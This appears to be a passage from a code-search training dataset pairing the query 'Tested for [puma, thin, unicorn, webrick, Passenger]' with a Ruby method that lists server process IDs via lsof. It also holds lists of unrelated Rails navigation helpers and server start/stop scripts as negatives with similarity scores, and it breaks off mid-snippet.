"def link_class(url)\n return 'nav-item' unless current_page?(url)\n\n 'nav-item current'\n end",
"def _navigation_markup( links, nav_class = 'posts-navigation', screen_reader_text = '' )\n screen_reader_text = t( 'railspress.post.show.navigation' ) if screen_reader_text.blank?\n\n template = '\n\t<nav class=\"navigation %1$s\" role=\"navigation\">\n\t\t<h2 class=\"screen-reader-text\">%2$s</h2>\n\t\t<div class=\"nav-links\">%3$s</div>\n\t</nav>'\n\n # Filters the navigation markup template.\n #\n # Note: The filtered template HTML must contain specifiers for the navigation\n # class (%1$s), the screen-reader-text value (%2$s), and placement of the\n # navigation links (%3$s):\n #\n # <nav class=\"navigation %1$s\" role=\"navigation\">\n # <h2 class=\"screen-reader-text\">%2$s</h2>\n # <div class=\"nav-links\">%3$s</div>\n # </nav>\n #\n # @param string $template The default template.\n # @param string $class The class passed by the calling function.\n # @return string Navigation template.\n template = apply_filters( 'navigation_markup_template', template, nav_class )\n\n sprintf( template, sanitize_html_class( nav_class ), esc_html( screen_reader_text ), links )\n end",
"def breadcrumb_item(text, path)\n if path == request.env['PATH_INFO']\n content = text\n css_classes = 'breadcrumb-item active'\n else\n content = link_to text, path\n css_classes = 'breadcrumb-item'\n end\n content_tag(:li, content, class: css_classes)\n end",
"def posts_nav_link( sep = '', prelabel = '', nxtlabel = '' )\n args = { sep: sep, prelabel: prelabel, nxtlabel: nxtlabel } # TODO array_filter\n get_posts_nav_link( args )\n end",
"def menu(current)\n Model::MENU.map{ |m|\n li_class =\n [current == m[:section] ? \"active\" : \"\", m[:cls].to_s].join(\" \")\n \"<li class=\\\"#{li_class}\\\"><a href=\\\"#{m[:href]}\\\">#{m[:label]}</a>\"\n }.join(\"\")\n end",
"def nav_bar( navigation_menu, id=\"primary_navigation\" )\n # THIS IS DEPRECATED OCT 16 2013 !!!\n navigation_html = %|<ul id=\"#{id}\" class=\"navigation inline_list\">|\n navigation_menu.each do |menu_item|\n if Navigation_properties[menu_item]\n item_title = Navigation_properties[menu_item][0].to_s.gsub ' ', ' '\n if Navigation_properties[menu_item][1]\n href = Navigation_properties[menu_item][1]\n else\n href = menu_item.to_s + '.html'\n end \n else\n href = menu_item.to_s + '.html'\n item_title = menu_item.to_s.gsub( '_', ' ' ).capitalize\n end \n navigation_html << %{<li><a class=\"#{menu_item.to_s}\" href=\"#{href}\">#{item_title}</a></li>\\n} # NOTE the \\n\n end \n navigation_html << '</ul>'\n end",
"def active_path?(href, current_path = \"\")\n href == get_path(current_path)\n end",
"def secondary_navigation_menu(active_links, options={})\n code = \"\"\n if is_menu_active? active_links.map { |hash| hash[:controller_paths] }.flatten\n first = true if options[:specify_first] #filter nil\n active_links.each do |hash|\n code += navigation_menu hash[:i18n_path], hash[:controller_paths], hash[:link_to_path], :first => first\n first = false\n end\n if options[:show_categories] && permitted_to?(:as_manage, :admin_settings)\n code += select_tag \"categories\", \"<option value='0'>#{I18n::t('admin.global_categories.manage')}</option>\" + options_from_collection_for_select(GlobalCategory.all, \"id\", \"name\")\n end\n end\n code\n end",
"def active_class(link_path)\n current_page?(link_path) ? 'active' : ''\n end",
"def navigation_item(content = false, &block)\n cls = 'navigation-item'\n cls << ' active' if content\n\n tag('li', content, class: cls, &block)\n end",
"def navigation_for( nav_name, options = {}, &block )\n raise ArgumentError, \"Missing block\" unless block_given?\n\n builder = options[:builder] || ActionView::Base.default_navigation_builder\n\n options.reverse_merge!(\n :wrapper_tag => :ul,\n :nav_item_tag => :li,\n :selected_class => 'selected',\n :html => {}\n )\n\n start_tag( options ) if navigation_has_wrapper?( options )\n body_content( builder, nav_name, options, &block )\n close_tag( options ) if navigation_has_wrapper?( options )\n\n # Mark the navigation block has having been rendered\n navigation_builder[nav_name] = true\n end",
"def menu_item(name, path, *link_hashes)\n content_tag :li do\n link = link_to(name, path) if permit_path?(path)\n sub = menu_list_if_permitted(*link_hashes) unless link_hashes.empty?\n link.to_s + sub.to_s\n end\n end",
"def site_page_navigation_menu(pages, menu_html={}, item_html={})\n content_tag :ul, menu_html do\n pages.each do |page|\n site_page_navigation_item(page.name, page_path(page), item_html)\n end\n end\n end",
"def scope_nav\n return unless boolean_scopes.count > 0\n \n if default_scopes.any?\n result = []\n else\n result = [scope_link]\n end\n \n boolean_scopes.each do |name, s|\n result << scope_link(s)\n end\n \n content_tag :ul, result.join(\"\\n\").html_safe, :class => 'nav nav-pills'\n end",
"def active_class(link_path)\n current_page?(link_path) ? \"active\" : \"\"\n end",
"def main_menu\n ctrlr = request.parameters['controller'].split('/').last\n dashboard_class = (ctrlr == 'dashboard' ? 'current' : '')\n assets_class = (ctrlr == 'assets' ? 'current' : '')\n design_class = ((ctrlr == 'themes' || ctrlr == 'resources') ? 'current' : '')\n contacts_class = (ctrlr == 'contacts' ? 'current' : '')\n settings_class = (ctrlr == 'settings' ? 'current' : '')\n content_class = ((ctrlr == 'home' || ctrlr == 'links' || ctrlr == 'news_items' || ctrlr == 'portfolios' || ctrlr == 'assigned_assets' || ctrlr == 'resume_sections' || ctrlr == 'resume_items' || ctrlr == 'galleries') ? 'current' : '')\n admin_class = ((ctrlr == 'users' || ctrlr == 'sites' || ctrlr == 'memberships') ? 'current' : '')\n \n result = content_tag('li', link_to('Dashboard', admin_dashboard_path, :class => dashboard_class))\n result << content_tag('li', link_to('Content', edit_admin_home_path, :class => content_class))\n result << content_tag('li', link_to(assets_name, admin_assets_path, :class => assets_class))\n result << content_tag('li', link_to('Design', admin_themes_path, :class => design_class))\n result << content_tag('li', link_to('Contacts', admin_contacts_path, :class => contacts_class))\n result << content_tag('li', link_to('Settings', edit_admin_settings_path, :class => settings_class))\n if admin?\n result << content_tag('li', link_to('Admin', admin_users_path, :class => admin_class))\n end\n result\n end",
"def link_with_active(text, url)\n if url == \"/\" then\n if request.fullpath == \"/\" then\n return link_to text, url, :id => \"selected_main_tab\"\n else\n return link_to text, url\n end\n else\n if request.fullpath.include? url then\n return link_to text, url, :id => \"selected_main_tab\"\n else\n return link_to text, url\n end\n end\n end",
"def nav_menu_dropdown_li(text: '', link: '#', link_classes: [], link_options: {}, li_classes: [])\n options = create_link_options(link_classes: link_classes,\n link_options: link_options,\n default_classes: DEFAULT_DROPDOWN_LINK_CLASSES,\n default_link_options: DEFAULT_DROPDOWN_LINK_OPTIONS)\n\n tag.li(class: (DEFAULT_LI_DROPDOWN_CLASSES | li_classes)) do\n concat(link_to(text, link, options))\n\n yield if block_given?\n end\n end",
"def li_navbar_or_not(menu)\n # path for the navbar menu item\n path_method = \"navbar_#{menu}_path\"\n path = send(path_method) if respond_to?(path_method.to_sym, include_private=true)\n path = '#' if path and current_page?(path) # if the current request is this path then stub it out with #\n path ||= \"#\"\n li_navbar(menu, path)\n end",
"def render_nav( current_user, params, nav ) \n # nav blocks is array of blocks' navigation element (without the divider yet)\n nav_blocks = []\n nav_blocks_string = \"\"\n @is_nav_active = false \n \n nav[:blocks].each do |nav_block|\n # nav block has_many nav elements \n puts \"the nav[:header] = #{nav[:header]}, gonna render nav block\"\n result = render_nav_block( current_user, params, nav_block) \n nav_blocks << result if not result.nil? and not result.length == 0\n end\n \n return nil if nav_blocks.length == 0 \n \n \n nav_blocks_count = nav_blocks.length \n counter = 0\n \n nav_blocks.each do |nav_block|\n nav_blocks_string << nav_block\n if counter != nav_blocks_count - 1 \n nav_blocks_string << draw_block_divider \n end\n counter += 1 \n end\n \n \n # <li class=\"dropdown active\">\n nav_blocks_string = draw_nav( nav_blocks_string, @is_nav_active , nav)\n \n return nav_blocks_string \n \n end",
"def admin_nav\n items = {'Home' => admin_root_path, \n 'Users' => admin_users_path,\n 'Submissions' => admin_submissions_path}\n output_nav(items)\n end",
"def get_navbar_link(anchor)\n if current_page?(root_path)\n anchor\n else\n root_path + anchor\n end\n end",
"def navigation_link_to(name, options = {}, html_options = {})\n if current_page?(options)\n content_tag(\"span\", name)\n else\n link_to name, options, html_options\n end\n end",
"def navigation nodes_stack, nodes, level=0\n nodes.map do |node|\n model_param = node.abstract_model.to_param\n url = locale_url_for(:action => :index, :controller => 'rails_admin/main', :model_name => model_param)\n level_class = \" nav-level-#{level}\" if level > 0\n\n li = content_tag :li, \"data-model\"=>model_param do\n #content_tag(:i, '', class: \"icon icon-#{model_param}\")\n #link_to(node.label_plural, url, :class => \"pjax#{level_class}\")\n adata = t('admin.menu.tip.'\"#{model_param}\")\n link_to url, class: \"tip-right pjax#{level_class}\", 'data-original-title' => adata do\n content_tag(:i, '', class: \"icon icon-#{model_param}\") + content_tag(:span, node.label_plural )\n end\n end\n li + navigation(nodes_stack, nodes_stack.select{ |n| n.parent.to_s == node.abstract_model.model_name}, level+1)\n end.join.html_safe\n end",
"def create_nav_link(link_content, page, system, sort, current)\n if !current\n tag = \"<span class=\\\"page_link\\\">\"\n link = link_to_remote link_content.to_s, \n :url => paginate_url(:tags => @tags.join('+'), \n :media_to_search => @media_to_search.join('+'),\n :paginate_system => system,\n :per_page => 8,\n :sort_by => sort,\n :page => page.to_s),\n :html=> {:href => paginate_path(:tags => @tags.join('+'), \n :media_to_search => @media_to_search.join('+'),\n :paginate_system => system,\n :per_page => 8,\n :sort_by => sort,\n :page => page.to_s)}\n else \n tag = \"<span class=\\\"page_link_current\\\">\" \n link = link_content.to_s\n end\n tag << link\n tag << \"</span>\"\n tag\n end",
"def pagy_nav_bootstrap(pagy, opts=nil)\n opts = opts ? pagy.opts.merge(opts) : pagy.opts\n link = pagy_link_proc(pagy, 'class=\"page-link\"'.freeze)\n tags = []\n\n tags << (pagy.prev ? %(<li class=\"page-item prev\">#{link.call pagy.prev, pagy_t('pagy.nav.prev'.freeze), 'aria-label=\"previous\"'.freeze}</li>)\n : %(<li class=\"page-item prev disabled\"><a href=\"#\" class=\"page-link\">#{pagy_t('pagy.nav.prev'.freeze)}</a></li>))\n pagy.series.each do |item| # series example: [1, :gap, 7, 8, \"9\", 10, 11, :gap, 36]\n tags << case item\n when Integer; %(<li class=\"page-item\">#{link.call item}</li>) # page link\n when String ; %(<li class=\"page-item active\">#{link.call item}</li>) # active page\n when :gap ; %(<li class=\"page-item gap disabled\"><a href=\"#\" class=\"page-link\">#{pagy_t('pagy.nav.gap'.freeze)}</a></li>) # page gap\n end\n end\n tags << (pagy.next ? %(<li class=\"page-item next\">#{link.call pagy.next, pagy_t('pagy.nav.next'.freeze), 'aria-label=\"next\"'.freeze}</li>)\n : %(<li class=\"page-item next disabled\"><a href=\"#\" class=\"page-link\">#{pagy_t('pagy.nav.next'.freeze)}</a></li>))\n %(<nav class=\"#{opts[:class]||'pagination'.freeze}\" role=\"navigation\" aria-label=\"pager\"><ul class=\"pagination\">#{tags.join}</ul></nav>)\n end",
"def admin_links_for_navigation_bar\n unless current_user.nil?\n if current_user.admin?\n content_tag(:li, class: 'nav-item active') do\n link_to admin_path, class: 'nav-link' do\n icon('clipboard-data') + ' Admin Dashboard'\n end\n end\n end\n end\n end",
"def nav_link(text, options)\n link_to_unless_current text, options\n end",
"def active_class(link_path)\n active = current_page?(link_path) ? \"active\" : \"no-active\"\n end",
"def active_class(link_path)\n active = current_page?(link_path) ? \"active\" : \"no-active\"\n end",
"def documentation_navigation_tree_for(page, options = {})\n active_page_type = nil\n items = String.new.tap do |s|\n if page.is_a?(::Documentation::Page)\n\n pages = page.navigation.select { |p,c| documentation_authorizer.can_view_page?(p) }\n\n pages.each do |p, children|\n s << \"<li>\"\n s << \"<a #{page == p ? \"class='active'\" : ''} href='#{documentation_doc_root}/#{p.full_permalink}'>#{p.title}</a>\"\n active_page_type = :root if page == p\n unless children.empty?\n s << \"<ul>\"\n children.select { |c| documentation_authorizer.can_view_page?(c) }.each do |p|\n s << \"<li><a #{page == p ? \"class='active'\" : ''} href='#{documentation_doc_root}/#{p.full_permalink}'>#{p.title}</a></li>\"\n active_page_type = :child if page == p\n end\n s << \"</ul>\"\n end\n s << \"</li>\"\n end\n else\n ::Documentation::Page.roots.select { |p| documentation_authorizer.can_view_page?(p) }.each do |page|\n s << \"<li><a href='#{documentation_doc_root}/#{page.full_permalink}'>#{page.title}</a></li>\"\n end\n end\n end\n\n String.new.tap do |output|\n output << \"<ul>\"\n if options[:include_back] && page && page.breadcrumb.size > 1\n if active_page_type == :root && page.has_children?\n back_page = page.breadcrumb[-2]\n elsif active_page_type == :child && !page.has_children?\n back_page = page.breadcrumb[-3]\n else\n back_page = nil\n end\n\n if back_page\n output << \"<li class='back'><a href='#{documentation_doc_root}/#{back_page.full_permalink}'>← Back to #{back_page.title}</a></li>\"\n end\n end\n output << items\n output << \"</ul>\"\n end.html_safe\n end",
"def menu_link_to(text, options = {}, html_options = {})\n if (options[:controller] == controller.controller_name && options[:action] == controller.action_name)\n html_options['class'] = 'UbcCurrent'\n end\n link_to(text, options, html_options)\n end"
] | [
"0.73931694",
"0.70898575",
"0.692556",
"0.6834843",
"0.6833218",
"0.6824942",
"0.6781657",
"0.67557305",
"0.6713979",
"0.6592157",
"0.6551825",
"0.65287536",
"0.64468974",
"0.6446389",
"0.6425374",
"0.6413514",
"0.6412865",
"0.63116443",
"0.62895864",
"0.62798136",
"0.6234892",
"0.6223279",
"0.62220174",
"0.6213302",
"0.6134858",
"0.6129211",
"0.6121493",
"0.61147183",
"0.61084807",
"0.60280836",
"0.60114956",
"0.59834975",
"0.59799707",
"0.5967927",
"0.58607376",
"0.58422685",
"0.58096856",
"0.5799008",
"0.57340616",
"0.57241035",
"0.5720843",
"0.5705059",
"0.5704753",
"0.5683922",
"0.5657854",
"0.5620546",
"0.5619781",
"0.5611763",
"0.5586816",
"0.5575483",
"0.55577725",
"0.5555307",
"0.5531702",
"0.55157846",
"0.5489027",
"0.5487039",
"0.5478281",
"0.5474438",
"0.54699564",
"0.54264563",
"0.5424476",
"0.54230094",
"0.5406617",
"0.5401997",
"0.5373348",
"0.5372116",
"0.53602767",
"0.53575057",
"0.53380567",
"0.5331351",
"0.5313671",
"0.5284932",
"0.5284633",
"0.52760065",
"0.52695495",
"0.52663505",
"0.5264144",
"0.526259",
"0.5259004",
"0.5255727",
"0.52473575",
"0.5237301",
"0.5228504",
"0.521622",
"0.5182991",
"0.51672214",
"0.51588637",
"0.5110244",
"0.5107858",
"0.5100618",
"0.507704",
"0.50767434",
"0.5058963",
"0.5051669",
"0.50459677",
"0.5036074",
"0.5024726",
"0.5024726",
"0.50196946",
"0.50046206"
] | 0.7618068 | 0 |
Tested for [puma, thin, unicorn, webrick, Passenger] | def server_pids
`lsof -wni | grep ruby | grep IPv4 | awk '{print $2}'`
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def start\n flags = \"--config config/puma.rb --pidfile #{PID_FILE}\"\n system \"puma #{flags} > /dev/null 2>&1\"\n sleep(0.1)\n rails?\n end",
"def puma?\n option?(\"puma\")\n end",
"def start_unicorn\n puts \"Starting unicorn...\"\n for app in @apps\n # unicorn\n @config_file = \"-c #{@config_file}\" if @config_file != ''\n cmd = \"unicorn -p #{app[:port]} -E #{@env.to_s} -o #{app[:ip]} #{@daemonize} #{@config_file} #{@config}\"\n puts \"=> #{cmd}\"\n system(cmd)\n break\n end\n puts \"Did they start?\"\n system(\"ps -aux | grep unicorn\")\nend",
"def start_server\n if ENV['RACK_ENV'] == 'production'\n run APP\n else\n Rack::Server.start(\n app: APP,\n Port: $PORT\n )\n end\nend",
"def better_errors_hack\n request.env['puma.config'].options.user_options.delete(:app) if request.env.key?('puma.config')\n end",
"def run_app\n http_config = config.http\n\n @server_thread = Thread.new do\n @server = Puma::Server.new(app)\n begin\n @server.add_tcp_listener(http_config.host, http_config.port.to_i)\n rescue Errno::EADDRINUSE, Errno::EACCES => e\n logger.fatal I18n.t(\n \"lita.http.exception\",\n message: e.message,\n backtrace: e.backtrace.join(\"\\n\")\n )\n abort\n end\n @server.min_threads = http_config.min_threads\n @server.max_threads = http_config.max_threads\n @server.run\n end\n\n @server_thread.abort_on_exception = true\n end",
"def serve_process_metrics\n filename = \"tmp/drb-process-metrics-#{puma_worker_id}.sock\"\n FileUtils.rm_f(filename)\n DRb.start_service(\"drbunix:#{filename}\", ApplicationMetrics.instance)\n end",
"def active_local_sockets; end",
"def setup_server\n ENV[\"RAILS_ENV\"] = \"test\"\n require \"rails\"\n fork do\n exec \"cd test/rails#{Rails::VERSION::MAJOR}_dummy && COVERBAND_TEST=test bundle exec rackup config.ru -p 9999 --pid /tmp/testrack.pid\"\n end\n end",
"def server_port ; @env['SERVER_PORT' ].to_i ; end",
"def rackup_on_ports(opts, ru, prefix='app', count=4, start_port=3000)\n listeners = pids_on_ports(start_port, count)\n raise \"processes already listening on target ports: pids: #{listeners.inspect}. Run: rake vm:kill!\" unless listeners.empty?\n\n count.to_i.times do |i|\n puts \"--- Running process #{i}\"\n port = start_port + i\n cmd = \"#{MAGLEV_HOME}/bin/rackup #{opts} --pid log/#{prefix}-#{port}.pid --port #{port} #{ru}\"\n out = \"log/#{prefix}-#{i}.out\"\n sh \"echo #{cmd} > #{out}\" # zeros output and lets us know command\n sh \"nohup #{cmd} >> #{out} 2>&1 &\"\n sleep 1\n end\nend",
"def override_tomcat?; false; end",
"def start\n puts \"Starting clusters...\"\n for app in @apps\n if @env == :deployment\n #need to check if application has a pid file so we don't start\n pid_file = \"#{APP_PATH}/log/doozer.#{app[:port]}.pid\"\n raise \"pid file already exists for #{pid_file}\" if File.exist?(pid_file)\n cmd = \"rackup #{@config} -p #{app[:port]} -E #{@env.to_s} -s #{@server} -o #{app[:ip]} #{@daemonize} -P #{pid_file}\" \n puts \"=> #{cmd}\"\n system(cmd)\n else\n cmd = \"rackup #{@config} -p #{app[:port]} -E #{@env.to_s} -s #{@server} -o #{app[:ip]}\" \n puts \"=> #{cmd}\"\n system(cmd)\n break\n end\n end\n puts \"Did they start?\"\n system(\"ps -aux | grep rackup\")\nend",
"def start_monit\n pidfile = \"/var/run/lock/#{app['shortname']}/puma.pid\"\n context.execute \"monit start #{adapter}_#{app['shortname']}\" do\n retries 3\n creates pidfile\n end\n end",
"def rails(port, num)\n pputs \"upstream #{port}_cluster {\"\n num.times {|i| pputs \" server 127.0.0.1:#{port+i};\"}\n pputs \"}\\n\"\n\n oputs <<-eos\n location / {\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header Host $http_host;\n proxy_redirect off;\n\n if (-f $request_filename/index.html) {\n rewrite (.*) $1/index.html break;\n }\n\n if (-f $request_filename.html) {\n rewrite (.*) $1.html break;\n }\n\n if (!-f $request_filename) {\n proxy_pass http://#{port}_cluster;\n break;\n }\n }\n eos\nend",
"def run_server\n EM.synchrony do\n @app = Rack::Builder.new do\n use Rack::Lint\n use Rack::ShowExceptions\n run Rack::Cascade.new([Souffle::Http])\n end.to_app\n\n Rack::Handler.get(:thin).run(@app, rack_options)\n end\n end",
"def tomcat?\n system \"ps aux| grep tomcat | grep catalina\"\n end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def stop_unicorn\n system(\"ps -aux | grep unicorn\")\n puts \"Stoping unicorn...\"\n for app in @apps\n if @env == :deployment\n pid_file = \"#{APP_PATH}/log/unicorn.pid\"\n puts \"=> Reading pid from #{pid_file}\" \n if File.exist?(pid_file)\n system(\"kill -QUIT `cat #{pid_file}`\")\n else\n puts \"ERROR => pid file doesn't exist\"\n end\n end\n break\n end\n sleep(1)\n system(\"ps -aux | grep unicorn\")\nend",
"def with_dev_server\n old_env = ENV.fetch(\"NODE_ENV\", nil)\n ENV[\"NODE_ENV\"] = \"development\"\n\n # Start the server in a forked process:\n Dir.chdir(\"test/#{DUMMY_LOCATION}\") do\n spawn \"RAILS_ENV=development ./bin/shakapacker-dev-server\"\n end\n\n stop_time = Time.now + 30.seconds\n detected_dev_server = false\n loop do\n detected_dev_server = dev_server_running?\n break if detected_dev_server || Time.now > stop_time\n\n sleep 0.5\n end\n\n # If we didn't hook up with a dev server after waiting, fail loudly.\n raise \"Failed to start dev server\" unless detected_dev_server\n\n puts \"Detected dev server - Continuing\"\n\n # Call the test block:\n yield\n ensure\n check_cmd = \"lsof -i :8080 -S\"\n 10.times do\n # puts check_cmd\n status = `#{check_cmd}`\n # puts status\n remaining_pid_match = status.match(/\\n[a-z]+\\s+(\\d+)/)\n break unless remaining_pid_match\n\n remaining_pid = remaining_pid_match[1]\n # puts \"Remaining #{remaining_pid}\"\n kill_cmd = \"kill -9 #{remaining_pid}\"\n # puts kill_cmd\n `#{kill_cmd}`\n sleep 0.5\n end\n\n # Remove the dev-server packs:\n ShakapackerHelpers.clear_shakapacker_packs\n ENV[\"NODE_ENV\"] = old_env\n puts \"Killed.\"\n end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def run_application\n if Souffle::Config[:daemonize]\n Souffle::Config[:server] = true\n Souffle::Daemon.daemonize(\"souffle\")\n end\n @app.run\n end",
"def rails_sbg(port=nil)\n \"#{RAILS_SERVER}#{' -p ' + port if port} -d\"\nend",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file(\"config.ru\").first\nend",
"def on_localhost?; true end",
"def rackup(app); return @@rack.call(app); end",
"def start_web\n pid = fork { Play::Library.monitor }\n Process.detach(pid)\n\n puts \"play is running on http://localhost:5050\"\n system(\"unicorn -c #{File.dirname(__FILE__)}/../config/unicorn.rb\")\nend",
"def app\n @rack_app ||= Rack::Builder.parse_file('config.ru').first\nend",
"def run_worker(server_name)\n if !server_name.empty?\n %x| #{app_root}/bin/goliath s -e production -s #{server_name}|\n else\n %x| #{app_root}/bin/goliath s -e production|\n end\n end",
"def daemon_port_prefix(env)\n case env.to_s.downcase\n when \"development\" then 74\n when \"test\" then 75\n end\nend",
"def rack_hijack_io ; @env['rack.hijack_io'] ; end",
"def production? ; @app.options[:env] == :production ; end",
"def boot params={}\n Server.node = Server.start! params\n Server.semaphore = Mutex.new\n Server.workers = []; true\n end",
"def start_webrick(config = {})\n config.update(:Port => 8080) \n server = HTTPServer.new(config)\n yield server if block_given?\n ['INT', 'TERM'].each {|signal| \n trap(signal) {server.shutdown}\n }\n server.start\n\nend",
"def main # rubocop:disable Metrics/MethodLength\n add_template_repository_to_source_path\n\n append_to_file \"config/puma.rb\" do\n <<~EO_PUMA_CONFIG\n if ENV.fetch(\"RAILS_ENV\") == \"development\" && ENV.fetch(\"LOCAL_SSL_ENABLE\", \"\").downcase == \"yes\"\n local_ssl_port = ENV.fetch(\"LOCAL_SSL_PORT\", \"3001\")\n local_ssl_options = {\n key: ENV.fetch(\"LOCAL_SSL_PRIVATE_KEY_FILE\"),\n cert: ENV.fetch(\"LOCAL_SSL_CERT_FILE\"),\n verify_mode: \"none\"\n }\n\n ssl_bind \"127.0.0.1\", local_ssl_port, local_ssl_options\n end\n EO_PUMA_CONFIG\n end\n\n append_to_file \"example.env\" do\n <<~EO_SSL_CONFIG\n\n LOCAL_SSL_ENABLE=\"yes\"\n LOCAL_SSL_PORT=\"3001\"\n LOCAL_SSL_PRIVATE_KEY_FILE=\".ssl/dev-private-key.pem\"\n LOCAL_SSL_CERT_FILE=\".ssl/dev-cert.pem\"\n EO_SSL_CONFIG\n end\n\n append_to_file \"README.md\" do\n <<~EO_README\n\n ### Running SSL in local development\n\n ```sh\n # You must have `mkcert` installed\n # $ brew install mkcert # macOS\n # See https://github.com/FiloSottile/mkcert for Window and Linux installation options\n\n # Install the mkcert Root CA (you only have to do this once after you first install `mkcert`)\n $ mkcert -install\n\n # Create ./.ssl/ dir in your app folder\n mkdir .ssl\n\n # Generate cert & corresponding private key\n mkcert --cert-file .ssl/dev-cert.pem --key-file .ssl/dev-private-key.pem localhost 127.0.0.1\n\n # Then just start the rails server as normal.\n ```\n EO_README\n end\nend",
"def real_start\n # Let's stop immediately so we can inspect output.\n start do |server|\n case server\n when Puma::Launcher\n # Most unfortunately we have to do it using an exception because\n # Puma will yield before actually starting the server resulting in failures\n raise \"Stop\"\n else\n server.stop\n end\n end\n rescue # rubocop:disable all\n # Nothing to do.\n end",
"def passenger_rack_app?\n workdir.directory? &&\n workdir.join(\"config.ru\").file? &&\n workdir.join(\"tmp\").directory? &&\n workdir.join(\"public\").directory?\n end",
"def server_port; end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\n end",
"def run_webrick(config = {})\n config.update :Port => 8080\n server = HTTPServer.new config\n yield server if block_given?\n [\"INT\", \"TERM\"].each { |signal| trap(signal) { server.shutdown } }\n server.start\nend",
"def per_host\n @per_host = true\n end",
"def server(port = 9319)\r\n puts \"- Starting server on port: #{port}\"\r\n\r\n $servers[port] = WEBrick::HTTPServer.new(:Port => port) if $servers[port].nil?\r\n server = $servers[port]\r\n $mounts.keys.each{|url|\r\n server.unmount(url)\r\n server.mount(url, $mounts[url][0], *$mounts[url][1])\r\n }\r\n $mounts.clear\r\n\r\n Thread.new { server.start unless server.status == :Running }\r\nend",
"def app\n eval \"Rack::Builder.new {( \" + File.read(File.dirname(__FILE__) + '/../config.ru') + \"\\n )}\"\nend",
"def setup(\n kill_after_requests: 10000,\n gc_after_request_time: 10,\n kill_on_too_much_memory: {},\n map_term_to_quit: false,\n logger:,\n stats: nil # provide a statsd client with your apps namespace to collect stats\n )\n logger.info \"Sending stats to under #{stats.namespace}.#{STATS_NAMESPACE}\" if stats\n @handlers = []\n @handlers << RequestKiller.new(logger, stats, kill_after_requests) if kill_after_requests\n @handlers << OutOfMemoryKiller.new(logger, stats, **kill_on_too_much_memory) if kill_on_too_much_memory\n @handlers << OutOfBandGC.new(logger, stats, gc_after_request_time) if gc_after_request_time\n\n @hooks = {}\n if map_term_to_quit\n # - on heroku & kubernetes all processes get TERM, so we need to trap in master and worker\n # - trapping has to be done in the before_fork since unicorn sets up it's own traps on start\n # - we cannot write to logger inside of a trap, so need to spawn a new Thread\n # - manual test: add a slow route + rails s + curl + pkill -TERM -f 'unicorn master' - request finished?\n @hooks[:before_fork] = -> do\n Signal.trap :TERM do\n Thread.new { logger.info 'master intercepting TERM and sending myself QUIT instead' }\n Process.kill :QUIT, Process.pid\n end\n end\n\n @hooks[:after_fork] = ->(*) do\n # Signal.trap returns the trap that unicorn set, which is an exit!(0) and calls that when sending myself term\n previous_trap = Signal.trap :TERM do\n if sending_myself_term\n previous_trap.call\n else\n Thread.new { logger.info 'worker intercepting TERM and doing nothing. Wait for master to send QUIT' }\n end\n end\n end\n end\n\n Unicorn::HttpServer.prepend UnicornExtension\n end",
"def app # def app is something that Rack::Test is looking for\n TaskManager\n end",
"def run_default_server(app, port, &block)\n begin\n require 'rack/handler/thin'\n Thin::Logging.silent = true\n Rack::Handler::Thin.run(app, :Port => port, &block)\n rescue LoadError\n require 'rack/handler/webrick'\n Rack::Handler::WEBrick.run(app, :Port => port, :AccessLog => [], :Logger => WEBrick::Log::new(nil, 0), &block)\n end\n end",
"def restart_unicorn\n stop_unicorn\n start_unicorn\nend",
"def test? ; @app.options[:env] == :test ; end",
"def development? ; @app.options[:env] == :development ; end",
"def update_process_metrics\n metrics = process_metrics\n\n conn_pool_stats = ApplicationRecord.connection_pool.stat\n metrics[:rails_connection_pool_size][{}].set(conn_pool_stats[:size])\n metrics[:rails_connection_pool_connections][state: \"busy\"].set(conn_pool_stats[:busy])\n metrics[:rails_connection_pool_connections][state: \"idle\"].set(conn_pool_stats[:idle])\n metrics[:rails_connection_pool_connections][state: \"dead\"].set(conn_pool_stats[:dead])\n metrics[:rails_connection_pool_waiting][{}].set(conn_pool_stats[:waiting])\n metrics[:rails_connection_pool_checkout_timeout][{}].set(conn_pool_stats[:checkout_timeout])\n\n if puma_running?\n resp = Danbooru::Http.internal.timeout(1).get(\"http://localhost:9293/stats\")\n puma_stats = resp.code == 200 ? resp.parse.with_indifferent_access : {}\n\n metrics.set({\n puma_started_at: puma_stats[:started_at].to_s.to_time.to_i,\n puma_workers: puma_stats[:workers],\n }, { worker: \"master\" })\n\n puma_stats[:worker_status].to_a.each do |worker|\n max_threads = worker.dig(:last_status, :max_threads)\n cur_threads = worker.dig(:last_status, :running)\n idle_threads = worker.dig(:last_status, :pool_capacity) - (max_threads - cur_threads)\n busy_threads = cur_threads - idle_threads\n\n metrics.set({\n puma_started_at: Time.parse(worker[:started_at]).to_i,\n puma_last_checkin: Time.parse(worker[:last_checkin]).to_i,\n puma_max_threads: max_threads,\n puma_thread_backlog: worker.dig(:last_status, :backlog),\n puma_http_requests_total: worker.dig(:last_status, :requests_count),\n }, { worker: worker[:index] })\n\n metrics[:puma_threads][worker: worker[:index], state: \"idle\"].set(idle_threads)\n metrics[:puma_threads][worker: worker[:index], state: \"busy\"].set(busy_threads)\n end\n\n # XXX The Puma server object is in a thread local variable, which may be in another thread, so we have to search for it.\n puma_socket = Thread.list.filter_map { |thread| thread[:puma_server] }.first&.binder&.ios&.first\n puma_socket_backlog = puma_socket&.getsockopt(Socket::SOL_TCP, Socket::TCP_INFO)&.inspect.to_s[/unacked=(\\d+)/, 1].to_i\n metrics[:puma_socket_backlog][worker: puma_worker_id].set(puma_socket_backlog)\n end\n\n ruby_stats = RubyVM.stat\n metrics.set({\n ruby_vm_constant_cache_invalidations: ruby_stats[:constant_cache_invalidations],\n ruby_vm_constant_cache_misses: ruby_stats[:constant_cache_misses],\n ruby_thread_count: Thread.list.count,\n ruby_pid: Process.pid,\n })\n\n ObjectSpace.count_objects.each do |type, count|\n next if type == :TOTAL\n metrics[:ruby_objects_count][type: type.to_s.delete_prefix(\"T_\").downcase].set(count)\n end\n\n ObjectSpace.count_objects_size.each do |type, size|\n next if type == :TOTAL\n 